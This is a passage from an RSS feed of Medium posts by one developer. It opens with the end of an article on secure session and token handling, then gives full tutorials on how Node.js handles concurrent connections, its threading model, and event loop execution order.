and send access token in Authorization Header (keeps refresh private and accessible only to server).</p><h3>Now Let’s Look At Everything We Learned So Far</h3><p>Practical Examples</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RIvb38GrNEEDhc_LGueaw.png" /></figure><h4>Simple Secure Web App (Recommended)</h4><ul><li>On login, generate a session in Redis and set a sid cookie with HttpOnly, Secure, SameSite=Lax.</li><li>Use server-side sessions for all sensitive operations (account settings, password changes).</li><li>Issue short-lived access tokens (JWT) for stateless microservice calls if needed.</li><li>Store refresh tokens server-side or as httpOnly cookies and rotate them on each use.</li></ul><h4>API For Mobile + Web App</h4><ul><li><strong>For mobile:</strong> store tokens in OS secure storage (Keychain on iOS, Keystore on Android).</li><li><strong>For web:</strong> store refresh token in httpOnly cookie, keep access token in memory, and use Authorization header for API calls.</li></ul><h4>JWT Approach</h4><ul><li>Use <strong>short-lived access tokens</strong> (5–15 minutes).</li><li>Never put sensitive data in the payload.</li><li>Maintain a small denylist in Redis for logout and compromise events.</li><li>Use jti and iat claims, and optionally check token_version.</li></ul><h3>Final Thoughts</h3><p>Online tutorials will never teach you such things in depth and with clarity. As engineers it’s our responsibility to handle systems and keep them safe from attackers. Next time you build a system keep those findings and information in mind to make your system secure and reliable. We will also discuss OAuth/OAuth2 in another article. Thank you 😊.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3e5f7ff46f4" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/authentication-is-not-just-login-jwt-sessions-token-rotation-explained-deeply-a3e5f7ff46f4">Authentication Is Not Just Login — JWT, Sessions &amp; Token Rotation Explained Deeply</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Node handles 10k concurrent connections]]></title>
            <link>https://medium.com/@rj.rahul1908/how-node-handles-10k-concurrent-connections-9fa54487b1a0?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9fa54487b1a0</guid>
            <category><![CDATA[design-systems]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 03:07:37 GMT</pubDate>
            <atom:updated>2026-02-20T03:07:37.430Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYNRBMzzwGWdyxxF0mSkxA.png" /><figcaption>AI Generated Image</figcaption></figure><p>I always wondered how Node.js handles multiple requests if they come at the same time, Since Node.js is single threaded, if it has to handle 1000 request in parallel, then 1000 threads would be needed to handle such a huge amount of requests. This is how traditional thread-per-request servers work but Node works differently.</p><p>And what if 10k request come in production, wouldn’t it crash the system?</p><p>If one request occupies one thread, shouldn’t everyone else wait?</p><p>In this blog, I’ll try to clear these doubts in a simple and easy way.</p><h3>Why this matters in real world</h3><p>This is important to understand because concurrency is not equal to parallelism. This is one of the biggest misconceptions many people have.</p><p>In production system:</p><ul><li>Thousands of clients stay connected through APIs, Web app, Mobile Apps or Web-Sockets</li><li>Most requests wait on the DB or network, not the CPU.</li><li>An efficient way to handle requests concurrently, which can also help to reduce infra cost.</li></ul><p>If Node.js couldn’t manage concurrency well, it wouldn’t power Netflix, PayPal or Uber backends.</p><h3>Concept Behind it</h3><p>Let’s start this step by step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmW82WpTrzXvmeQQmaFSWg.png" /><figcaption>AI Generated Image</figcaption></figure><h4>1. Event Loop</h4><p>The event loop is the main reason Node.js is asynchronous in nature.</p><p>So, instead of creating a thread per user, it:</p><ul><li>Registers all connections.</li><li>Waits for events (data ready, DB response, network response etc)</li><li>Executes call backs when they’re ready.</li></ul><p>So 10k users can wait without blocking the system.</p><p>I have explained the event Loop in detail in another blog by using an interview question. Check out my blogs here.</p><ul><li><a href="https://javascript.plainenglish.io/why-this-javascript-event-loop-question-appears-in-every-interview-29b75ed753f2">Why This JavaScript Event Loop Question Appears in Every Interview</a></li><li><a href="https://medium.com/@rj.rahul1908/why-node-js-makes-the-event-loop-even-more-interesting-095739f42c10">Why Node.js Makes the Event Loop Even More Interesting</a></li></ul><h4>2. CPU work</h4><p>What happens when heavy computation comes in, the event loop blocks.</p><p>That’s where Node’s threading tools come in:</p><ul><li>Cluster: it creates multiple process with one process per one core. Each process has its own event loop and memory space.</li><li>Worker Threads: Creates threads inside the process to handle CPU intensive tasks.</li><li>Child Process: Creates a process from the master process.</li></ul><p>Each solves a different problem.</p><pre>const cluster = require(&#39;cluster&#39;);<br>const http = require(&#39;http&#39;);<br>const os = require(&#39;os&#39;);<br><br>if (cluster.isPrimary) {<br>  const cpus = os.cpus().length;<br>  for (let i = 0; i &lt; cpus; i++) {<br>    cluster.fork();<br>  }<br>  console.log(`Primary ${process.pid} running`);<br>} else {<br>  http.createServer((req, res) =&gt; {<br>    res.end(`Handled by ${process.pid}`);<br>  }).listen(3000);<br>}</pre><p>In the above example, Now instead of 1 Node process:</p><ul><li>We have 1 per CPU core</li><li>Each can handle thousand of concurrent I/O connections</li></ul><p>This is how Node handles connections and scales vertically.</p><p><strong>The above two points are main reason or concept which helps to handle 10k connections efficiently.</strong></p><h3>When to use what</h3><h4>1. Cluster</h4><p>Use this when:</p><ul><li>You want to use all CPU cores.</li><li>Handling many request in parallel.</li><li>Each worker is basically a separate node process.</li></ul><h4>2. Worker Threads</h4><p>Use this when:</p><ul><li>CPU intensive tasks.</li><li>Prevent the event loop from blocking.</li><li>You want to run computation in another thread.</li></ul><pre>const { Worker } = require(&#39;worker_threads&#39;);</pre><h4>3. Child Process</h4><p>Use this when:</p><ul><li>When you want to run another service or script.</li><li>Need process isolation.</li></ul><pre>const { fork } = require(&#39;child_process&#39;);</pre><p>Heavier than worker threads but more isolated.</p><h3>Production Consideration</h3><p>In production environment, we generally don’t use cluster directly, rather we use a software called PM2 or if you can use containers on Kubernetes which internally run multiple Node processes (similar to cluster) to run your production level Node.js application.</p><p>Some applications are placed behind NGINX or Load Balancer that handles TLS, buffering and traffic spikes. It can distribute traffic across multiple Node instances.</p><p>We are not discussing production deployment in much detail here, we can do this in some other blog.</p><h3>Final summary</h3><p>Handling 10k concurrent connections in Node.js is not magic, it’s basically design.</p><p>Why Node handles it well:</p><ul><li>Event loop manages many idle connections</li><li>No thread per request</li><li>Async I/O keeps the system responsive</li></ul><p>So yes, Node.js is a single threaded, but when we know how to use other threads and do not block the main thread for intensive task, we can keep the system responsive and make it handle multiple requests efficiently. This design can easily manage tens of thousands of concurrent connections in production.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9fa54487b1a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why “Single-Threaded” Node.js Is Misunderstood]]></title>
            <link>https://medium.com/@rj.rahul1908/why-single-threaded-node-js-is-misunderstood-b3849cb2ce02?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3849cb2ce02</guid>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Sun, 15 Feb 2026 02:43:32 GMT</pubDate>
            <atom:updated>2026-02-15T02:52:22.823Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’ve worked with Node.js for even a short time, you’ve probably heard this:</p><blockquote><strong>Node.js is single-threaded.</strong></blockquote><p>Somehow, that sentence creates more confusion than clarity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ian6SH02Us5arcj_kv2ThQ.png" /><figcaption>AI Generated</figcaption></figure><p>People hear it and think:</p><ul><li>So it can’t handle many users.</li><li>It must be slow.</li><li>It’s not good for big systems.</li><li>One request at a time.</li></ul><p>Not really. Let’s talk about what that sentence actually means in simple and practical terms.</p><h3>What “Single-Threaded” Really Means</h3><p>When we say Node.js is single-threaded, we mean this:</p><blockquote><strong>Your JavaScript code runs on one main thread.</strong></blockquote><p>That’s it. There’s one call stack. One piece of JavaScript runs at a time. But that does not mean Node.js has only one thread internally. This is where most misunderstandings begin.</p><h3>The Real Story Behind the Scenes</h3><p>Node.js is built on top of:</p><ul><li><strong>V8</strong> → The JavaScript engine (from Chrome)</li><li><strong>Event Loop</strong> → The mechanism that keeps everything moving</li><li><strong>libuv</strong> → The engine that handles async work under the hood</li></ul><p>You usually only see your JavaScript. But underneath, there’s a lot happening.</p><h3>So What Is libuv?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4xcJqaCzudssk_6GBZ2fw.png" /><figcaption>AI Generated</figcaption></figure><p>Think of <strong>libuv</strong> as Node’s operations manager.</p><p>When your JavaScript says:</p><pre>fs.readFile(&#39;file.txt&#39;, callback);</pre><p>Your main thread doesn’t sit and wait.</p><p>Instead:</p><ul><li>libuv takes that task</li><li>Sends it to a worker thread</li><li>When it’s done, the result comes back to the event loop</li><li>Your callback runs</li></ul><p>So yes, Node.js is single-threaded for JavaScript, but it’s <strong>not single-threaded overall</strong>.</p><h3>How Many Threads Does Node.js Actually Use?</h3><p>By default, libuv creates:</p><pre>4 worker threads</pre><p>These threads handle things like:</p><ul><li>File system operations</li><li>Some DNS lookups</li><li>Crypto functions</li><li>Compression (zlib)</li></ul><p>If you make 4 heavy file operations at the same time, they can run in parallel.</p><h3>Can We Change The Number Of Threads?</h3><p>Yes, you can increase the thread pool size using an environment variable:</p><pre>UV_THREADPOOL_SIZE=8 node app.js</pre><p>Now you’ll have 8 worker threads instead of 4.</p><p>Important things to know:</p><ul><li>Maximum allowed is 128</li><li>You must set it before starting the app</li><li>More threads don’t always mean more speed (too many can hurt performance)</li></ul><p>This only helps if you’re doing heavy async work like crypto or file operations.</p><p>It does not affect normal HTTP requests.</p><h3>A Simple Analogy</h3><p>Imagine a restaurant.</p><p>There’s one head chef (main thread).</p><p>He takes orders and coordinates everything.</p><p>But he doesn’t cook everything himself.</p><p>He has assistants in the kitchen (libuv threads).</p><p>Deliveries are handled outside (OS networking).</p><p>The chef stays free to manage the flow.</p><p>That’s Node.</p><h3>How Does Node Handle Thousands of Users Then?</h3><p>Here’s the important part.</p><p>When 10,000 users connect to your server, Node does <strong>not</strong> create 10,000 threads.</p><p>Instead:</p><ul><li>The operating system handles networking efficiently (epoll, kqueue, etc.)</li><li>libuv listens for events</li><li>The event loop picks up completed work</li><li>JavaScript runs callbacks one by one</li></ul><p>That’s why Node is great for:</p><ul><li>APIs</li><li>Real-time apps</li><li>Chat systems</li><li>Streaming</li></ul><p>It’s very efficient for I/O-heavy systems.</p><h3>When Does Node Actually Struggle?</h3><p>Node struggles when you block the main thread.</p><p>For example:</p><pre>while(true) {}</pre><p>Your server freezes.</p><p>Why? Because JavaScript runs on one main thread. If that thread is busy doing CPU work, it can’t process anything else.</p><p>That’s when you should use:</p><ul><li>Worker Threads</li><li>Child Processes</li><li>Clustering</li></ul><h3>Wait… What Are Worker Threads?</h3><p>Worker Threads are different from libuv threads. Libuv threads are used internally for async tasks.</p><p>Worker Threads let you:</p><ul><li>Run JavaScript in parallel</li><li>Create separate V8 instances</li><li>Do CPU-heavy processing safely</li></ul><p>Each worker has:</p><ul><li>Its own event loop</li><li>Its own memory</li><li>Runs truly in parallel</li></ul><p>If you need real multi-threading in JS, you use worker threads.</p><h3>So Is Node Single-Threaded or Not?</h3><p>The honest answer:</p><ul><li>JavaScript execution → Yes, single-threaded</li><li>Internally (libuv, OS, workers) → No, multi-threaded</li></ul><p>The better way to say it:</p><blockquote><strong>Node.js runs JavaScript on a single thread but uses multiple threads under the hood to handle asynchronous work.</strong></blockquote><p>That’s the full truth.</p><h3>Final Thought</h3><p>The phrase “Node.js is single-threaded” is technically correct. But it’s incomplete, and incomplete knowledge causes confusion. If you understand this properly, you stop thinking like someone who “uses Node”. You start thinking like someone who understands how it actually works.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3849cb2ce02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Node.js Makes the Event Loop Even More Interesting]]></title>
            <link>https://medium.com/@rj.rahul1908/why-node-js-makes-the-event-loop-even-more-interesting-095739f42c10?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/095739f42c10</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 06:41:26 GMT</pubDate>
            <atom:updated>2026-02-12T06:50:07.602Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9sp9CIvRFvqJWnq4jlM5RA.png" /><figcaption>Image generated from ChatGPT</figcaption></figure><p>If you solved the <a href="https://medium.com/javascript-in-plain-english/why-this-javascript-question-confuses-even-good-developers-773bbf9e54ee">previous blog’s</a> question confidently, you probably felt good. Then Node.js enters the picture and suddenly even experienced developers start arguing about output.</p><p>This is the question I left you with:</p><pre>console.log(&#39;start&#39;);<br><br>setTimeout(() =&gt;console.log(&#39;timeout&#39;),0);<br><br>setImmediate(() =&gt;console.log(&#39;immediate&#39;));<br><br>Promise.resolve().then(() =&gt;console.log(&#39;promise&#39;));<br><br>process.nextTick(() =&gt;console.log(&#39;nextTick&#39;));<br><br>console.log(&#39;end&#39;);</pre><p>If your first instinct was to guess<strong>,</strong> you’re not alone. I’ve seen people with years of experience hesitate here. Not because this question is unfair, but because <strong>Node.js adds a few rules that most people never fully learn</strong>.</p><p>Let’s break it down slowly.</p><h3>First things first: synchronous code still wins</h3><p>Node.js does not change JavaScript fundamentals.</p><p>Synchronous code always runs first.</p><pre>console.log(&#39;start&#39;);<br><br>console.log(&#39;end&#39;);</pre><p>So the beginning is locked in:</p><pre>start<br>end</pre><p>No debate here.</p><h3>Now comes the Node.js-specific part</h3><p>This is where things start to feel unfamiliar.</p><p>Unlike the browser, <strong>Node.js has multiple event loop phases</strong>.</p><p>Each phase exists to handle a specific type of callback.</p><p>You don’t need to memorize all of them for interviews, just the important ones.</p><h3>The Six Phases of the Node.js Event Loop</h3><p>The Event Loop is composed of the following six phases which are repeated for as long as the application still has code that needs to be executed. These six phases create one cycle, or loop, which is known as a <strong>tick</strong>. A Node.js process exits when there is no more pending work in the Event Loop, or when process.exit() is called manually.</p><blockquote><strong>Also, one thing to note here is that there’s a callback queue in each phase that stores callbacks to be executed in that phase</strong></blockquote><p><strong>Phases of Node.js Event Loop</strong></p><ul><li><strong>Timers:</strong> This is the first phase in the event loop. This phase executes callbacks scheduled by setTimeout() and setInterval() . It finds expired timers in every iteration and executes the timers callbacks created by setTimeout and setIntervals . For example below, 1 is printed first, because the first timer expires in 10 milliseconds before 200 milliseconds, however 2 may be printed in another iteration because the second timer expires after 200 milliseconds.</li></ul><pre>setTimeout(() =&gt; console.log(&quot;1&quot;), 10);<br>setTimeout(() =&gt; console.log(&quot;2&quot;), 200);</pre><ul><li><strong>Pending callbacks:</strong> This phase is responsible for executing I/O-related callbacks deferred to the next loop iteration. This includes callbacks from networking operations, file system operations, and other asynchronous tasks.</li><li><strong>Idle, prepare:</strong> Idle phase is used for executing callbacks that were deferred to the next loop iteration. The <strong>Prepare phase</strong> is related to preparing the system for new events.</li><li><strong>Poll:</strong> This is the phase where the event loop waits for events to occur. If there are no timers or I/O events, it will block and wait for events to happen. If there are any I/O related callbacks in the queue from the previous phases, they will be executed in this phase.</li><li><strong>Check:</strong> The setImmediate() callbacks are executed in this phase. It is typically used to execute callbacks after the poll phase, before the next cycle of the event loop.</li><li><strong>Close Callbacks:</strong> Callbacks registered via close events, such as those in socket.on(’close’, …) or server.on(’close’, …) are executed in this phase. This is the final phase in the event loop cycle.</li></ul><h3>process.nextTick is not part of the event loop</h3><p>This line changes everything:</p><pre>process.nextTick(() =&gt;console.log(&#39;nextTick&#39;));</pre><p>process.nextTick does <strong>not</strong> wait for any event loop phase.</p><p>Instead, it runs:</p><ul><li>immediately after the current call stack</li><li>before promises</li><li>before timers</li><li>before setImmediate</li></ul><p>Think of it as:</p><blockquote><strong>Run this before you move on to anything else.</strong></blockquote><p>Technically process.nextTick is not a part of the event loop.</p><p>This is why process.nextTick is powerful - and dangerous if misused.</p><h3>Promises still behave the same</h3><p>This part hasn’t changed:</p><pre>Promise.resolve().then(() =&gt;console.log(&#39;promise&#39;));</pre><p>Promise callbacks go into the <strong>microtask queue</strong>.</p><p>Before we learnt this rule: <strong>Microtasks always run before macrotasks.</strong></p><p>Now we see new and improved rule in context of Node.js</p><blockquote><strong>Promise microtasks run before the next event loop phase begins.</strong></blockquote><p>So now we can already predict two things:</p><ul><li>nextTick runs before promises</li><li>promises run before timers and immediates</li></ul><h3>Let’s list what’s waiting to run</h3><p>After synchronous code finishes, we have:</p><h4>Highest priority</h4><ul><li>process.nextTick(() =&gt; console.log(&#39;nextTick&#39;))</li></ul><h4>Next priority (microtasks)</h4><ul><li>Promise.resolve().then(() =&gt; console.log(&#39;promise&#39;))</li></ul><h4>Event loop phases</h4><ul><li>Timers → setTimeout</li><li>Check → setImmediate</li></ul><p>Now let’s execute this like Node.js does.</p><h3>Step 1: process.nextTick</h3><p>Node.js checks the nextTick queue <strong>before anything else</strong>.</p><pre>console.log(&#39;nextTick&#39;);</pre><p>Output so far:</p><pre>start<br>end<br>nextTick</pre><h3>Step 2: Promise microtasks</h3><p>Next, Node.js drains the microtask queue.</p><pre>console.log(&#39;promise&#39;);</pre><p>Output:</p><pre>start<br>end<br>nextTick<br>promise</pre><h3>Step 3: Now the tricky part, timers vs setImmediate</h3><p>This is where most people confidently say the wrong thing.</p><p>We have:</p><pre>setTimeout(() =&gt;console.log(&#39;timeout&#39;),0);<br><br>setImmediate(() =&gt;console.log(&#39;immediate&#39;));</pre><p>Here’s the truth that interviews are testing:</p><blockquote><strong>There is NO guaranteed execution order between </strong><strong>setTimeout(0) and </strong><strong>setImmediate.</strong></blockquote><p>Why? Because:</p><ul><li>setTimeout runs in the <strong>timers phase</strong></li><li>setImmediate runs in the <strong>check phase</strong></li><li>If the event loop is entering from an I/O callback → setImmediate usually runs first.</li><li>If running from top-level script → setTimeout(0) often runs first.</li><li>But it is not guaranteed.</li><li>system load and I/O can change the order</li></ul><h3>So what is the correct output?</h3><p>Both of these are valid.</p><h4>Possible output 1</h4><pre>timeout<br>immediate</pre><h4>Possible output 2</h4><pre>immediate<br>timeout</pre><p>And this is the correct interview answer:</p><blockquote><strong>Both orders are possible, depending on how the event loop phases are entered.</strong></blockquote><p>If you say this confidently and explain why, the interviewer usually stops pushing.</p><h3>Final possible output (combined)</h3><p>One valid full output could be:</p><pre>start<br>end<br>nextTick<br>promise<br>timeout<br>immediate</pre><p>Another valid one:</p><pre>start<br>end<br>nextTick<br>promise<br>immediate<br>timeout</pre><p>Both are correct.</p><h3>Why this question exists in Node.js interviews</h3><p>This question is not about memorizing behavior.</p><p>It checks whether you understand that:</p><ul><li>Node.js is <strong>not the browser</strong></li><li>the event loop has <strong>phases</strong></li><li>process.nextTick bypasses normal scheduling</li><li>relying on timing is bad design</li></ul><p>Senior engineers don’t argue about output, they explain <strong>why multiple outputs are possible</strong>.</p><h3>One mental model to remember</h3><p>If you remember nothing else, remember this:</p><p>Node.js priority order</p><ol><li>Synchronous code</li><li>process.nextTick</li><li>Promise microtasks</li><li>Event loop phases (timers → poll → check)</li></ol><h3>Final thought</h3><p>Most developers learn the event loop to crack interviews. Experienced developers learn it because <strong>production doesn’t forgive assumptions</strong>. If you can reason through this calmly, you’re no longer guessing, you’re explaining. And interviews feel very different when you reach that stage.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=095739f42c10" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why This JavaScript Question Confuses Even Good Developers]]></title>
            <link>https://javascript.plainenglish.io/why-this-javascript-question-confuses-even-good-developers-773bbf9e54ee?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/773bbf9e54ee</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[interview]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Sun, 08 Feb 2026 07:55:44 GMT</pubDate>
            <atom:updated>2026-02-09T17:56:12.131Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ay_eMwNRrpWNMbaCvd-Xqg.png" /></figure><p>If you read my previous <a href="https://medium.com/javascript-in-plain-english/why-this-javascript-event-loop-question-appears-in-every-interview-29b75ed753f2">blog</a>, I left you with this question.</p><pre>console.log(&quot;A&quot;);<br><br>setTimeout(() =&gt; console.log(&quot;B&quot;), 0);<br><br>Promise.resolve().then(() =&gt; console.log(&quot;C&quot;));<br><br>(async function () {<br>  console.log(&quot;D&quot;);<br>  await null;<br>  console.log(&quot;E&quot;);<br>})();<br><br>console.log(&quot;F&quot;);</pre><p>At first glance, it looks similar.</p><ul><li><strong>setTimeout</strong>: easy to handle</li><li><strong>Promise:</strong> seen it</li><li><strong>async/await:</strong> I use it regularly.</li></ul><p>but still a lot people get stuck here,</p><p>not because the question is difficult, but because it mixes multiple concepts together.</p><p>Let’s see how can we break it down and reason through it.</p><p>If you guys new to the Event loop, I highly recommend reading my previous article before continuing. <a href="https://medium.com/javascript-in-plain-english/why-this-javascript-event-loop-question-appears-in-every-interview-29b75ed753f2">here</a></p><h3>Synchronous Code Runs First</h3><p>JavaScript doesn’t care how complex the code is, it always runs the synchronous code first.</p><p>So let’s see what is synchronous here</p><pre>console.log(&#39;A&#39;);</pre><p>Inside the async function:</p><pre>console.log(&#39;D&#39;);</pre><p>Yes, this is a synchronous code, which surprises many people.</p><p>An async function is not fully asynchronous. It runs synchronously until it hits await .</p><p>And then finally we have</p><pre>console.log(&#39;F&#39;);</pre><p>So, our output so far is</p><pre>A<br>D<br>F</pre><p>Pretty easy, right.</p><h3>Now comes the part that feels tricky</h3><pre>await null;</pre><p>This looks simple.</p><ul><li>No Network call</li><li>No timeout</li><li>No Promise</li></ul><p>But why is this important?</p><p>Because await always pauses execution, even if the value is null</p><p>Under the hood, JavaScript interprets it as this:</p><pre>await Promise.resolve(null);</pre><p>This means the rest of the async function is deferred and treated just like a promise callback.</p><p>Now this looks easy, and you can tell that this is a promise and the code after it is scheduled to run later and it goes first to <strong>microtask queue</strong>.</p><p>So this is a very important detail to understand.</p><h3>Now check what is left to run</h3><p>At this point, all synchronous code is done.</p><p>Now, we have:</p><h4>Microtasks (high priority)</h4><ul><li>Promise.resolve().then(() =&gt; console.log(&quot;C&quot;));</li><li>Continuation of async function → console.log(&quot;E&quot;);</li></ul><h4>Macrotasks (lower priority)</h4><ul><li>setTimeout(() =&gt; console.log(&quot;B&quot;), 0);</li></ul><p>Now, what the rule says about these two queues:</p><blockquote><strong><em>Microtasks always runs before macrotasks</em></strong></blockquote><h3>Let’s evaluate Microtasks first</h3><p>The microtask queue is processed as soon as the call stack is empty.</p><p>So, JavaScript starts with</p><pre>console.log(&quot;C&quot;);</pre><p>And then next microtask and the paused async function resumes:</p><pre>console.log(&quot;E&quot;);</pre><p>Output:</p><pre>C<br>E</pre><h3>Finally Macrotask chance</h3><p>Now the microtask is empty, JavaScript looks at the macrotask queue.</p><pre>console.log(&quot;B&quot;);</pre><p>Output:</p><pre>B</pre><h3>Final Output</h3><pre>A<br>D<br>F<br>C<br>E<br>B</pre><p>Simple, right? No guessing, no memorization, we just understood the concept and by using that, came up with the answer.</p><h3>What’s next?</h3><p>Now, if you think you know everything and can answer any question related to event loop. Try to answer the below question next.</p><pre>console.log(&#39;start&#39;);<br><br>setTimeout(() =&gt; console.log(&#39;timeout&#39;), 0);<br><br>setImmediate(() =&gt; console.log(&#39;immediate&#39;));<br><br>Promise.resolve().then(() =&gt; console.log(&#39;promise&#39;));<br><br>process.nextTick(() =&gt; console.log(&#39;nextTick&#39;));<br><br>console.log(&#39;end&#39;);</pre><p>This is where even experienced developers start arguing about output. That’s where things get really interesting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=773bbf9e54ee" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/why-this-javascript-question-confuses-even-good-developers-773bbf9e54ee">Why This JavaScript Question Confuses Even Good Developers</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>